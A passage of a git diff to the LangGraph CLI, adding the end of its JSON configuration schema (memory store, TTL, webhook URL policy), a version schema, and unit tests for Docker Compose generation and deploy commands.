+      "properties": {
+        "kind": {
+          "enum": [
+            "uv"
+          ]
+        },
+        "package": {
+          "type": "string"
+        },
+        "root": {
+          "type": "string"
+        }
+      },
+      "required": [
+        "kind"
+      ]
+    },
+    "StoreConfig": {
+      "title": "StoreConfig",
+      "description": "Configuration for the built-in long-term memory store.\n\nThis store can optionally perform semantic search. If you omit `index`,\nthe store will just handle traditional (non-embedded) data without vector lookups.",
+      "type": "object",
+      "properties": {
+        "index": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/IndexConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the vector-based semantic search configuration.\n\n- Generate embeddings according to `index.embed`\n- Enforce the embedding dimension given by `index.dims`\n- Embed only specified JSON fields (if any) from `index.fields`\n\nIf omitted, no vector index is initialized.\n"
+        },
+        "ttl": {
+          "anyOf": [
+            {
+              "$ref": "#/$defs/TTLConfig"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Defines the TTL (time-to-live) behavior configuration.\n\nIf provided, the store will apply TTL settings according to the configuration.\nIf omitted, no TTL behavior is configured.\n"
+        }
+      },
+      "required": []
+    },
+    "IndexConfig": {
+      "title": "IndexConfig",
+      "description": "Configuration for indexing documents for semantic search in the store.\n\nThis governs how text is converted into embeddings and stored for vector-based lookups.",
+      "type": "object",
+      "properties": {
+        "dims": {
+          "type": "integer",
+          "description": "Required. Dimensionality of the embedding vectors you will store.\n\nMust match the output dimension of your selected embedding model or custom embed function.\nIf mismatched, you will likely encounter shape/size errors when inserting or querying vectors.\n\n"
+        },
+        "embed": {
+          "type": "string",
+          "description": "Required. Identifier or reference to the embedding model or a custom embedding function.\n\n- \"my_custom_embed\" if it's a known alias in your system\n"
+        },
+        "fields": {
+          "anyOf": [
+            {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. List of JSON fields to extract before generating embeddings.\n\nDefaults to [\"$\"], which means the entire JSON object is embedded as one piece of text.\nIf you provide multiple fields (e.g. [\"title\", \"content\"]), each is extracted and embedded separately,\noften saving token usage if you only care about certain parts of the data.\n"
+        }
+      },
+      "required": []
+    },
+    "TTLConfig": {
+      "title": "TTLConfig",
+      "description": "Configuration for TTL (time-to-live) behavior in the store.",
+      "type": "object",
+      "properties": {
+        "default_ttl": {
+          "anyOf": [
+            {
+              "type": "number"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Default TTL (time-to-live) in minutes for new items.\n\nIf provided, all new items will have this TTL unless explicitly overridden.\nIf omitted, items will have no TTL by default.\n"
+        },
+        "refresh_on_read": {
+          "type": "boolean",
+          "description": "Default behavior for refreshing TTLs on read operations (`GET` and `SEARCH`).\n\nIf `True`, TTLs will be refreshed on read operations (get/search) by default.\nThis can be overridden per-operation by explicitly setting `refresh_ttl`.\nDefaults to `True` if not configured.\n"
+        },
+        "sweep_interval_minutes": {
+          "anyOf": [
+            {
+              "type": "integer"
+            },
+            {
+              "type": "null"
+            }
+          ],
+          "description": "Optional. Interval in minutes between TTL sweep iterations.\n\nIf provided, the store will periodically delete expired items based on the TTL.\nIf omitted, no automatic sweeping will occur.\n"
+        }
+      },
+      "required": []
+    },
+    "WebhooksConfig": {
+      "title": "WebhooksConfig",
+      "type": "object",
+      "properties": {
+        "env_prefix": {
+          "type": "string",
+          "description": "Required prefix for environment variables referenced in header templates.\n\nActs as an allowlist boundary to prevent leaking arbitrary environment\nvariables. Defaults to \"LG_WEBHOOK_\" when omitted.\n"
+        },
+        "headers": {
+          "type": "object",
+          "additionalProperties": {
+            "type": "string"
+          },
+          "description": "Static headers to include with webhook requests.\n\nValues may contain templates of the form \"${{ env.VAR }}\". On startup, these\nare resolved via the process environment after verifying `VAR` starts with\n`env_prefix`. Mixed literals and multiple templates are allowed.\n"
+        },
+        "url": {
+          "$ref": "#/$defs/WebhookUrlPolicy",
+          "description": "URL validation policy for user-supplied webhook endpoints."
+        }
+      },
+      "required": [],
+      "description": "dict() -> new empty dictionary\ndict(mapping) -> new dictionary initialized from a mapping object's\n    (key, value) pairs\ndict(iterable) -> new dictionary initialized as if via:\n    d = {}\n    for k, v in iterable:\n        d[k] = v\ndict(**kwargs) -> new dictionary initialized with the name=value pairs\n    in the keyword argument list.  For example:  dict(one=1, two=2)"
+    },
+    "WebhookUrlPolicy": {
+      "title": "WebhookUrlPolicy",
+      "type": "object",
+      "properties": {
+        "allowed_domains": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          },
+          "description": "Hostname allowlist. Supports exact hosts and wildcard subdomains.\n\nUse entries like \"hooks.example.com\" or \"*.mycorp.com\". The wildcard only\nmatches subdomains (\"foo.mycorp.com\"), not the apex (\"mycorp.com\"). When\nempty or omitted, any public host is allowed (subject to SSRF IP checks).\n"
+        },
+        "allowed_ports": {
+          "type": "array",
+          "items": {
+            "type": "integer"
+          },
+          "description": "Explicit port allowlist for absolute URLs.\n\nIf set, requests must use one of these ports. Defaults are respected when\na port is not present in the URL (443 for https, 80 for http).\n"
+        },
+        "disable_loopback": {
+          "type": "boolean",
+          "description": "Disallow relative URLs (internal loopback calls) when true."
+        },
+        "max_url_length": {
+          "type": "integer",
+          "description": "Maximum permitted URL length in characters; longer inputs are rejected early."
+        },
+        "require_https": {
+          "type": "boolean",
+          "description": "Enforce HTTPS scheme for absolute URLs; reject `http://` when true."
+        }
+      },
+      "required": [],
+      "description": "dict() -> new empty dictionary\ndict(mapping) -> new dictionary initialized from a mapping object's\n    (key, value) pairs\ndict(iterable) -> new dictionary initialized as if via:\n    d = {}\n    for k, v in iterable:\n        d[k] = v\ndict(**kwargs) -> new dictionary initialized with the name=value pairs\n    in the keyword argument list.  For example:  dict(one=1, two=2)"
+    }
+  },
+  "title": "LangGraph CLI Configuration",
+  "description": "Configuration schema for langgraph-cli",
+  "version": "v0"
+}
\ No newline at end of file
diff --git a/libs/cli/schemas/version.schema.json b/libs/cli/schemas/version.schema.json
new file mode 100644
index 0000000..041b130
--- /dev/null
+++ b/libs/cli/schemas/version.schema.json
@@ -0,0 +1,46 @@
+{
+  "$id": "https://github.com/langchain-ai/langgraph/libs/cli/schemas/version.schema.json",
+  "$schema": "http://json-schema.org/draft-07/schema#",
+  "title": "LangGraph Platform configuration (when building via the langgraph-cli).",
+  "type": "object",
+  "oneOf": [
+    {
+      "allOf": [
+        {
+          "oneOf": [
+            {
+              "properties": {
+                "version": {
+                  "type": "string",
+                  "maxLength": 0
+                }
+              },
+              "required": ["version"]
+            },
+            {
+              "not": {
+                "required": ["version"]
+              }
+            }
+          ]
+        },
+        {
+          "$ref": "https://raw.githubusercontent.com/langchain-ai/langgraph/main/libs/cli/schemas/schema.json"
+        }
+      ]
+    },
+    {
+      "allOf": [
+        {
+          "properties": {
+            "version": { "const": "v0" }
+          },
+          "required": ["version"]
+        },
+        {
+          "$ref": "https://raw.githubusercontent.com/langchain-ai/langgraph/main/libs/cli/schemas/schema.v0.json"
+        }
+      ]
+    }
+  ]
+}
diff --git a/libs/cli/tests/__init__.py b/libs/cli/tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/tests/integration_tests/__init__.py b/libs/cli/tests/integration_tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/tests/integration_tests/test_cli.py b/libs/cli/tests/integration_tests/test_cli.py
new file mode 100644
index 0000000..7cb41b4
--- /dev/null
+++ b/libs/cli/tests/integration_tests/test_cli.py
@@ -0,0 +1,13 @@
+import pytest
+import requests
+
+from langgraph_cli.templates import TEMPLATE_ID_TO_CONFIG
+
+
+@pytest.mark.parametrize("template_key", TEMPLATE_ID_TO_CONFIG.keys())
+def test_template_urls_work(template_key: str) -> None:
+    """Integration test to verify that all template URLs are reachable."""
+    _, _, template_url = TEMPLATE_ID_TO_CONFIG[template_key]
+    response = requests.head(template_url)
+    # Returns 302 on a successful HEAD request
+    assert response.status_code == 302, f"URL {template_url} is not reachable."
diff --git a/libs/cli/tests/unit_tests/__init__.py b/libs/cli/tests/unit_tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/tests/unit_tests/agent.py b/libs/cli/tests/unit_tests/agent.py
new file mode 100644
index 0000000..214a491
--- /dev/null
+++ b/libs/cli/tests/unit_tests/agent.py
@@ -0,0 +1,82 @@
+import asyncio
+import os
+from collections.abc import Sequence
+from typing import Annotated, TypedDict
+
+from langchain_core.language_models.fake_chat_models import FakeListChatModel
+from langchain_core.messages import BaseMessage, HumanMessage, ToolMessage
+from langgraph.graph import END, StateGraph, add_messages
+
+# check that env var is present
+os.environ["SOME_ENV_VAR"]
+
+
+class AgentState(TypedDict):
+    some_bytes: bytes
+    some_byte_array: bytearray
+    dict_with_bytes: dict[str, bytes]
+    messages: Annotated[Sequence[BaseMessage], add_messages]
+    sleep: int
+
+
+async def call_model(state, config):
+    if sleep := state.get("sleep"):
+        await asyncio.sleep(sleep)
+
+    messages = state["messages"]
+
+    if len(messages) > 1:
+        assert state["some_bytes"] == b"some_bytes"
+        assert state["some_byte_array"] == bytearray(b"some_byte_array")
+        assert state["dict_with_bytes"] == {"more_bytes": b"more_bytes"}
+
+    # hacky way to reset model to the "first" response
+    if isinstance(messages[-1], HumanMessage):
+        model.i = 0
+
+    response = await model.ainvoke(messages)
+    return {
+        "messages": [response],
+        "some_bytes": b"some_bytes",
+        "some_byte_array": bytearray(b"some_byte_array"),
+        "dict_with_bytes": {"more_bytes": b"more_bytes"},
+    }
+
+
+def call_tool(state):
+    last_message_content = state["messages"][-1].content
+    return {
+        "messages": [
+            ToolMessage(
+                f"tool_call__{last_message_content}", tool_call_id="tool_call_id"
+            )
+        ]
+    }
+
+
+def should_continue(state):
+    messages = state["messages"]
+    last_message = messages[-1]
+    if last_message.content == "end":
+        return END
+    else:
+        return "tool"
+
+
+# NOTE: the model cycles through responses infinitely here
+model = FakeListChatModel(responses=["begin", "end"])
+workflow = StateGraph(AgentState)
+
+workflow.add_node("agent", call_model)
+workflow.add_node("tool", call_tool)
+
+workflow.set_entry_point("agent")
+
+workflow.add_conditional_edges(
+    "agent",
+    should_continue,
+)
+
+workflow.add_edge("tool", "agent")
+
+graph = workflow.compile()
diff --git a/libs/cli/tests/unit_tests/cli/__init__.py b/libs/cli/tests/unit_tests/cli/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/tests/unit_tests/cli/langgraph.json b/libs/cli/tests/unit_tests/cli/langgraph.json
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/tests/unit_tests/cli/pyproject.toml b/libs/cli/tests/unit_tests/cli/pyproject.toml
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/tests/unit_tests/cli/test_cli.py b/libs/cli/tests/unit_tests/cli/test_cli.py
new file mode 100644
index 0000000..8b3ae47
--- /dev/null
+++ b/libs/cli/tests/unit_tests/cli/test_cli.py
@@ -0,0 +1,1356 @@
+import json
+import pathlib
+import re
+import shutil
+import tempfile
+import textwrap
+from contextlib import contextmanager
+from pathlib import Path
+
+import click
+from click.testing import CliRunner
+
+import langgraph_cli.deploy as deploy_module
+from langgraph_cli.cli import cli, prepare_args_and_stdin
+from langgraph_cli.config import Config, _get_pip_cleanup_lines, validate_config
+from langgraph_cli.docker import DEFAULT_POSTGRES_URI, DockerCapabilities, Version
+from langgraph_cli.util import clean_empty_lines
+
+FORMATTED_CLEANUP_LINES = _get_pip_cleanup_lines(
+    install_cmd="uv pip install --system",
+    to_uninstall=("pip", "setuptools", "wheel"),
+    pip_installer="uv",
+)
+DEFAULT_DOCKER_CAPABILITIES = DockerCapabilities(
+    version_docker=Version(26, 1, 1),
+    version_compose=Version(2, 27, 0),
+    healthcheck_start_interval=True,
+)
+
+
+@contextmanager
+def temporary_config_folder(config_content: dict, levels: int = 0):
+    # Create a temporary directory
+    temp_dir = tempfile.mkdtemp()
+    try:
+        # Define the path for the config.json file
+        config_path = Path(temp_dir) / f"{'a/' * levels}config.json"
+        # Ensure the parent directory exists
+        config_path.parent.mkdir(parents=True, exist_ok=True)
+
+        # Write the provided dictionary content to config.json
+        with open(config_path, "w", encoding="utf-8") as config_file:
+            json.dump(config_content, config_file)
+
+        # Yield the temporary directory path for use within the context
+        yield config_path.parent
+    finally:
+        # Cleanup the temporary directory and its contents
+        shutil.rmtree(temp_dir)
+
+
+def test_prepare_args_and_stdin() -> None:
+    # this basically serves as an end-to-end test for using config and docker helpers
+    config_path = pathlib.Path(__file__).parent / "langgraph.json"
+    config = validate_config(
+        Config(dependencies=[".", "../../.."], graphs={"agent": "agent.py:graph"})
+    )
+    port = 8000
+    debugger_port = 8001
+    debugger_graph_url = f"http://127.0.0.1:{port}"
+
+    actual_args, actual_stdin = prepare_args_and_stdin(
+        capabilities=DEFAULT_DOCKER_CAPABILITIES,
+        config_path=config_path,
+        config=config,
+        docker_compose=pathlib.Path("custom-docker-compose.yml"),
+        port=port,
+        debugger_port=debugger_port,
+        debugger_base_url=debugger_graph_url,
+        watch=True,
+    )
+
+    expected_args = [
+        "--project-directory",
+        str(pathlib.Path(__file__).parent.absolute()),
+        "-f",
+        "custom-docker-compose.yml",
+        "-f",
+        "-",
+    ]
+    expected_stdin = f"""volumes:
+    langgraph-data:
+        driver: local
+services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-postgres:
+        image: pgvector/pgvector:pg16
+        ports:
+            - "5433:5432"
+        environment:
+            POSTGRES_DB: postgres
+            POSTGRES_USER: postgres
+            POSTGRES_PASSWORD: postgres
+        command:
+            - postgres
+            - -c
+            - shared_preload_libraries=vector
+        volumes:
+            - langgraph-data:/var/lib/postgresql/data
+        healthcheck:
+            test: pg_isready -U postgres
+            start_period: 10s
+            timeout: 1s
+            retries: 5
+            interval: 60s
+            start_interval: 1s
+    langgraph-debugger:
+        image: langchain/langgraph-debugger
+        restart: on-failure
+        depends_on:
+            langgraph-postgres:
+                condition: service_healthy
+        ports:
+            - "{debugger_port}:3968"
+        environment:
+            VITE_STUDIO_LOCAL_GRAPH_URL: {debugger_graph_url}
+    langgraph-api:
+        ports:
+            - "8000:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+            langgraph-postgres:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {DEFAULT_POSTGRES_URI}
+        healthcheck:
+            test: python /api/healthcheck.py
+            interval: 60s
+            start_interval: 1s
+            start_period: 10s
+        
+        pull_policy: build
+        build:
+            context: .
+            additional_contexts:
+                - cli_1: {str(pathlib.Path(__file__).parent.parent.parent.parent.absolute())}
+            dockerfile_inline: |
+                # syntax=docker/dockerfile:1.4
+                FROM langchain/langgraph-api:3.11
+                # -- Adding local package . --
+                ADD . /deps/cli
+                # -- End of local package . --
+                # -- Adding local package ../../.. --
+                COPY --from=cli_1 . /deps/cli_1
+                # -- End of local package ../../.. --
+                # -- Installing all local dependencies --
+                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+                # -- End of local dependencies install --
+                ENV LANGSERVE_GRAPHS='{{"agent": "agent.py:graph"}}'
+{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
+                WORKDIR /deps/cli
+        
+        develop:
+            watch:
+                - path: langgraph.json
+                  action: rebuild
+                - path: .
+                  action: rebuild
+                - path: ../../..
+                  action: rebuild\
+"""
+    assert actual_args == expected_args
+    assert clean_empty_lines(actual_stdin) == expected_stdin
+
+
+def test_prepare_args_and_stdin_with_image() -> None:
+    # this basically serves as an end-to-end test for using config and docker helpers
+    config_path = pathlib.Path(__file__).parent / "langgraph.json"
+    config = validate_config(
+        Config(dependencies=[".", "../../.."], graphs={"agent": "agent.py:graph"})
+    )
+    port = 8000
+    debugger_port = 8001
+    debugger_graph_url = f"http://127.0.0.1:{port}"
+
+    actual_args, actual_stdin = prepare_args_and_stdin(
+        capabilities=DEFAULT_DOCKER_CAPABILITIES,
+        config_path=config_path,
+        config=config,
+        docker_compose=pathlib.Path("custom-docker-compose.yml"),
+        port=port,
+        debugger_port=debugger_port,
+        debugger_base_url=debugger_graph_url,
+        watch=True,
+        image="my-cool-image",
+    )
+
+    expected_args = [
+        "--project-directory",
+        str(pathlib.Path(__file__).parent.absolute()),
+        "-f",
+        "custom-docker-compose.yml",
+        "-f",
+        "-",
+    ]
+    expected_stdin = f"""volumes:
+    langgraph-data:
+        driver: local
+services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-postgres:
+        image: pgvector/pgvector:pg16
+        ports:
+            - "5433:5432"
+        environment:
+            POSTGRES_DB: postgres
+            POSTGRES_USER: postgres
+            POSTGRES_PASSWORD: postgres
+        command:
+            - postgres
+            - -c
+            - shared_preload_libraries=vector
+        volumes:
+            - langgraph-data:/var/lib/postgresql/data
+        healthcheck:
+            test: pg_isready -U postgres
+            start_period: 10s
+            timeout: 1s
+            retries: 5
+            interval: 60s
+            start_interval: 1s
+    langgraph-debugger:
+        image: langchain/langgraph-debugger
+        restart: on-failure
+        depends_on:
+            langgraph-postgres:
+                condition: service_healthy
+        ports:
+            - "{debugger_port}:3968"
+        environment:
+            VITE_STUDIO_LOCAL_GRAPH_URL: {debugger_graph_url}
+    langgraph-api:
+        ports:
+            - "8000:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+            langgraph-postgres:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {DEFAULT_POSTGRES_URI}
+        image: my-cool-image
+        healthcheck:
+            test: python /api/healthcheck.py
+            interval: 60s
+            start_interval: 1s
+            start_period: 10s
+        
+        
+        develop:
+            watch:
+                - path: langgraph.json
+                  action: rebuild
+                - path: .
+                  action: rebuild
+                - path: ../../..
+                  action: rebuild\
+"""
+    assert actual_args == expected_args
+    assert clean_empty_lines(actual_stdin) == expected_stdin
+
+
+def test_version_option() -> None:
+    """Test the --version option of the CLI."""
+    runner = CliRunner()
+    result = runner.invoke(cli, ["--version"])
+
+    # Verify that the command executed successfully
+    assert result.exit_code == 0, "Expected exit code 0 for --version option"
+
+    # Check that the output contains the correct version information
+    assert "LangGraph CLI, version" in result.output, (
+        "Expected version information in output"
+    )
+
+
+def test_top_level_help_shows_deploy_subcommands() -> None:
+    runner = CliRunner()
+
+    result = runner.invoke(cli, ["--help"])
+
+    assert result.exit_code == 0, result.output
+    assert "deploy" in result.output
+    assert "deploy list" in result.output
+    assert "deploy delete" in result.output
+    assert "deploy revisions" in result.output
+    assert "deploy revisions list" in result.output
+    assert "[Beta] List LangSmith Deployments." in result.output
+
+
+def test_top_level_help_truncates_command_descriptions_to_single_line() -> None:
+    runner = CliRunner()
+
+    result = runner.invoke(cli, ["--help"])
+
+    assert result.exit_code == 0, result.output
+    lines = result.output.splitlines()
+    deploy_line = next(line for line in lines if line.strip().startswith("deploy"))
+    deploy_list_line = next(
+        line for line in lines if line.strip().startswith("deploy list")
+    )
+
+    assert not lines[lines.index(deploy_line) + 1].startswith("               ")
+    assert "..." in deploy_line
+    assert "[Beta] List LangSmith Deployments." in deploy_list_line
+
+
+def test_dev_command_requires_ssl_certfile_and_keyfile_together(tmp_path) -> None:
+    config_path = tmp_path / "langgraph.json"
+    config_path.write_text(
+        json.dumps({"dependencies": [], "graphs": {"agent": "./agent.py:graph"}}),
+        encoding="utf-8",
+    )
+    certfile = tmp_path / "cert.pem"
+    certfile.write_text("cert", encoding="utf-8")
+
+    runner = CliRunner()
+    result = runner.invoke(
+        cli,
+        [
+            "dev",
+            "--config",
+            str(config_path),
+            "--ssl-certfile",
+            str(certfile),
+        ],
+    )
+
+    assert result.exit_code != 0
+    assert "Both --ssl-certfile and --ssl-keyfile must be provided" in result.output
+
+
+def test_deploy_list_command(monkeypatch) -> None:
+    runner = CliRunner()
+    captured: dict[str, str] = {}
+
+    class FakeClient:
+        def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
+            captured["host_url"] = host_url
+            captured["api_key"] = api_key
+            captured["tenant_id"] = tenant_id or ""
+
+        def list_deployments(self, name_contains: str = ""):
+            captured["name_contains"] = name_contains
+            return {
+                "resources": [
+                    {
+                        "id": "dep-123",
+                        "name": "alpha",
+                        "source_config": {"custom_url": "https://alpha.example.com"},
+                    },
+                    {
+                        "id": "dep-456",
+                        "name": "beta",
+                        "source_config": {"custom_url": "https://beta.example.com"},
+                    },
+                ]
+            }
+
+    monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
+
+    result = runner.invoke(
+        cli,
+        [
+            "deploy",
+            "list",
+            "--api-key",
+            "test-key",
+            "--host-url",
+            "https://api.example.com",
+            "--name-contains",
+            "alp",
+        ],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert captured == {
+        "host_url": "https://api.example.com",
+        "api_key": "test-key",
+        "tenant_id": "",
+        "name_contains": "alp",
+    }
+    assert "Deployment ID" in result.output
+    assert "Deployment Name" in result.output
+    assert "Deployment URL" in result.output
+    assert "dep-123" in result.output
+    assert "https://beta.example.com" in result.output
+
+
+def test_deploy_list_command_no_results(monkeypatch) -> None:
+    runner = CliRunner()
+
+    class FakeClient:
+        def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
+            pass
+
+        def list_deployments(self, name_contains: str = ""):
+            return {"resources": []}
+
+    monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
+
+    result = runner.invoke(
+        cli,
+        [
+            "deploy",
+            "list",
+            "--api-key",
+            "test-key",
+            "--host-url",
+            "https://api.example.com",
+        ],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert result.output.strip() == "No deployments found."
+
+
+def test_deploy_revisions_list_command(monkeypatch) -> None:
+    runner = CliRunner()
+    captured: dict[str, str] = {}
+
+    class FakeClient:
+        def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
+            captured["host_url"] = host_url
+            captured["api_key"] = api_key
+            captured["tenant_id"] = tenant_id or ""
+
+        def list_revisions(self, deployment_id: str, limit: int = 1):
+            captured["deployment_id"] = deployment_id
+            captured["limit"] = str(limit)
+            return {
+                "resources": [
+                    {
+                        "id": "rev-123",
+                        "status": "CREATING",
+                        "created_at": "2023-11-07T05:31:56Z",
+                    },
+                    {
+                        "id": "rev-456",
+                        "status": "DEPLOYED",
+                        "created_at": "2023-11-08T10:00:00Z",
+                    },
+                ]
+            }
+
+    monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
+
+    result = runner.invoke(
+        cli,
+        [
+            "deploy",
+            "revisions",
+            "list",
+            "--api-key",
+            "test-key",
+            "--host-url",
+            "https://api.example.com",
+            "dep-123",
+        ],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert captured == {
+        "host_url": "https://api.example.com",
+        "api_key": "test-key",
+        "tenant_id": "",
+        "deployment_id": "dep-123",
+        "limit": "10",
+    }
+    assert "Revision ID" in result.output
+    assert "Status" in result.output
+    assert "Created At" in result.output
+    assert "rev-123" in result.output
+    assert "2023-11-08T10:00:00Z" in result.output
+
+
+def test_deploy_revisions_list_command_no_results(monkeypatch) -> None:
+    runner = CliRunner()
+
+    class FakeClient:
+        def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
+            pass
+
+        def list_revisions(self, deployment_id: str, limit: int = 1):
+            return {"resources": []}
+
+    monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
+
+    result = runner.invoke(
+        cli,
+        [
+            "deploy",
+            "revisions",
+            "list",
+            "--api-key",
+            "test-key",
+            "--host-url",
+            "https://api.example.com",
+            "dep-123",
+        ],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert result.output.strip() == "No revisions found for deployment dep-123."
+
+
+def test_deploy_revisions_list_command_with_explicit_limit(monkeypatch) -> None:
+    runner = CliRunner()
+    captured: dict[str, str] = {}
+
+    class FakeClient:
+        def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
+            pass
+
+        def list_revisions(self, deployment_id: str, limit: int = 1):
+            captured["deployment_id"] = deployment_id
+            captured["limit"] = str(limit)
+            return {"resources": []}
+
+    monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
+
+    result = runner.invoke(
+        cli,
+        [
+            "deploy",
+            "revisions",
+            "list",
+            "--api-key",
+            "test-key",
+            "--host-url",
+            "https://api.example.com",
+            "--limit",
+            "25",
+            "dep-123",
+        ],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert captured == {"deployment_id": "dep-123", "limit": "25"}
+    assert result.output.strip() == "No revisions found for deployment dep-123."
+
+
+def test_deploy_revisions_list_missing_deployment_id_shows_usage() -> None:
+    runner = CliRunner()
+
+    result = runner.invoke(cli, ["deploy", "revisions", "list"])
+
+    assert result.exit_code == 2, result.output
+    assert "Missing argument 'DEPLOYMENT_ID'" in result.output
+
+
+def test_deploy_delete_command(monkeypatch) -> None:
+    runner = CliRunner()
+    captured: dict[str, str] = {}
+
+    class FakeClient:
+        def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
+            captured["host_url"] = host_url
+            captured["api_key"] = api_key
+            captured["tenant_id"] = tenant_id or ""
+
+        def delete_deployment(self, deployment_id: str):
+            captured["deployment_id"] = deployment_id
+            return None
+
+    monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
+
+    result = runner.invoke(
+        cli,
+        [
+            "deploy",
+            "delete",
+            "--api-key",
+            "test-key",
+            "--host-url",
+            "https://api.example.com",
+            "dep-123",
+        ],
+        input="y\n",
+    )
+
+    assert result.exit_code == 0, result.output
+    assert captured == {
+        "host_url": "https://api.example.com",
+        "api_key": "test-key",
+        "tenant_id": "",
+        "deployment_id": "dep-123",
+    }
+    assert (
+        "Are you sure you want to delete deployment ID dep-123? (Y/n):"
+        in click.unstyle(result.output)
+    )
+    assert result.output.strip().endswith("Deleted deployment dep-123.")
+
+
+def test_deploy_delete_command_cancelled(monkeypatch) -> None:
+    runner = CliRunner()
+    deleted = False
+
+    class FakeClient:
+        def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
+            pass
+
+        def delete_deployment(self, deployment_id: str):
+            nonlocal deleted
+            deleted = True
+            return None
+
+    monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
+
+    result = runner.invoke(
+        cli,
+        [
+            "deploy",
+            "delete",
+            "--api-key",
+            "test-key",
+            "--host-url",
+            "https://api.example.com",
+            "dep-123",
+        ],
+        input="n\n",
+    )
+
+    assert result.exit_code == 1, result.output
+    assert not deleted
+    assert "Aborted!" in result.output
+
+
+def test_deploy_delete_command_force(monkeypatch) -> None:
+    runner = CliRunner()
+    captured: dict[str, str] = {}
+
+    class FakeClient:
+        def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
+            captured["host_url"] = host_url
+            captured["api_key"] = api_key
+            captured["tenant_id"] = tenant_id or ""
+
+        def delete_deployment(self, deployment_id: str):
+            captured["deployment_id"] = deployment_id
+            return None
+
+    monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
+
+    result = runner.invoke(
+        cli,
+        [
+            "deploy",
+            "delete",
+            "--force",
+            "--api-key",
+            "test-key",
+            "--host-url",
+            "https://api.example.com",
+            "dep-123",
+        ],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert "Are you sure you want to delete deployment ID dep-123?" not in result.output
+    assert captured == {
+        "host_url": "https://api.example.com",
+        "api_key": "test-key",
+        "tenant_id": "",
+        "deployment_id": "dep-123",
+    }
+    assert result.output.strip() == "Deleted deployment dep-123."
+
+
+def test_dockerfile_command_basic() -> None:
+    """Test the 'dockerfile' command with basic configuration."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+    }
+
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+
+        result = runner.invoke(
+            cli,
+            ["dockerfile", str(save_path), "--config", str(temp_dir / "config.json")],
+        )
+
+        # Assert command was successful
+        assert result.exit_code == 0, result.output
+        assert "✅ Created: Dockerfile" in result.output
+
+        # Check if Dockerfile was created
+        assert save_path.exists()
+
+
+def test_dockerfile_command_new_style_config() -> None:
+    """Test `dockerfile` command with a new style config.
+
+    This config format allows specifying agent data as a dictionary.
+    {
+        "graphs": {
+            "agent1": {
+                "path": ... # path to graph definition,
+                ... # other fields
+            }
+        }
+    }
+    """
+    runner = CliRunner()
+    config_content = {
+        "dependencies": ["./my_agent"],
+        "graphs": {
+            "agent": {
+                "path": "./my_agent/agent.py:graph",
+                "description": "This is a test agent",
+            }
+        },
+        "env": ".env",
+    }
+    with temporary_config_folder(config_content) as temp_dir:
+        save_path = temp_dir / "Dockerfile"
+        # Add agent.py file
+        agent_path = temp_dir / "my_agent" / "agent.py"
+        agent_path.parent.mkdir(parents=True, exist_ok=True)
+        agent_path.touch()
+
+        result = runner.invoke(
+            cli,
+            ["dockerfile", str(save_path), "--config", str(temp_dir / "config.json")],
+        )
+
+        # Assert command was successful
+        assert result.exit_code == 0, result.output
+        assert "✅ Created: Dockerfile" in result.output
+
+        # Check if Dockerfile was created
+        assert save_path.exists()
+
+
+def test_dockerfile_command_with_base_image() -> None:
+    """Test the 'dockerfile' command with a base image."""
+    runner = CliRunner()
+    config_content = {
+        "python_version": "3.11",
+        "graphs": {"agent": "agent.py:graph"},
+        "dependencies": ["."],
+        "base_image": "langchain/langgraph-server:0.2",
+    }
+    with temporary_config_folder(config_content) as temp_dir:
